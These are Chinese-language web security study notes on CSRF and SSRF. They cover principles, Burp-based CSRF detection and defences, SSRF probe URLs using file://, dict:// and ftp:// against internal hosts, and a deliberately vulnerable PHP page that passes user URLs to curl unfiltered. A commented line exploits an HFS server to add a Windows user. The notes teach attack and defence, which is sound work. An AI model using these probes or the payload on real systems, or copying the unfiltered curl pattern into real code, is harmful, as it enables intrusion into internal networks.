CSRF

跨站脚本请求

Cross-Site Request Forgery

原理

CSRF

攻击者在自己的服务器上构造了攻击代码(比如知道添加管理员的数据包),受害者(管理员)用自己的身份权限在自己的浏览器去访问攻击链接

漏洞检测

利用burp抓包,并且发送至Generate CSRF PoC这个插件

CSRF检测-1

在这个页面修改信息,并生成攻击代码

CSRF检测-2

copy攻击代码后,将其放在自己的服务器上

然后用受害者身份在受害者的环境去访问,若信息修改成功,则存在CSRF

靶场

Pikachu靶场

防御方法

1.当用户发送重要的请求时需要输入原始密码

2.设置随机token,检测数据报的唯一性(最有效)

3.校验Referer来源,请求时判断请求链接是否是当前管理员正在使用的页面(管理员在编辑文章,黑客发来恶意的修改密码链接,因为修改密码页面管理员并没有在操作,所以攻击失败)

4.设置验证码

5.限制请求方式只能为POST

SSRF

服务器请求伪造

Server-Side Request Forgery

原理

SSRF图解

SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等

相当于是可以将存在SSRF的服务器作为一个代理,去访问其内网服务端的资源

利用SSRF能实现以下效果:
1.扫描内网(主机信息收集,Web应用指纹识别)
2.根据所识别应用发送构造的Payload进行攻击
3.Denial of service(拒绝服务DOS)

各个协议调用探针

http

file

dict

ftp

gopher

漏洞攻击

端口扫描、指纹识别、漏洞利用、内网探针

http://192.168.xx.xx/phpmyadmin

file:///D:/www.txt

dict://192.168.xx.xx:3306/info

ftp://192.168.xx.xx:21

测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<form action="" method="POST">
请输入图片地址:<input type='text' name='url'>
<input type="submit" value="提交">
</form>

<?php
/*内网的某台主机村子啊HFS漏洞,这里是通过存在SSRF的服务器对其内网主机进行利用
url=$_POST['url'];
$img = file_get_contents('http://192.168.xx.xx:8080/?search==%00{.exec|cmd.exe%20/c%20net%20user%20test1234%201234%20/add.}');
echo $url;
echo $img;
//header("Content-Type: img/jpeg;text/html; charset=utf-8");
//echo $img;
//$file = fopen('x,png, 'w+');
//fwrite($file, $img);
//fclose($file);
*/
?>

<?php

$_POST['URL'];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_POST['url']);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_exec($ch);
curl_close($ch);

?>

SSRF漏洞挖掘

SSRF漏洞挖掘

SSRF在各个编程语言中可以使用的协议

SSRF在各个编程语言中可以使用的协议

真实案例

地址:https://dict.youdao.com/w/http%3A%2F%2F127.0.0.1/#keyfrom=dict2.top

当输入http://127.0.0.1与直接输入127.0.0.1返回结果有差异,表明可能存在SSRF漏洞

参考

CSRFTester-1.0

SSRF漏洞(原理&绕过姿势)

CSDN-看我一招征服SSRF

参考视频

【小迪安全】WEB漏洞-CSRF及SSRF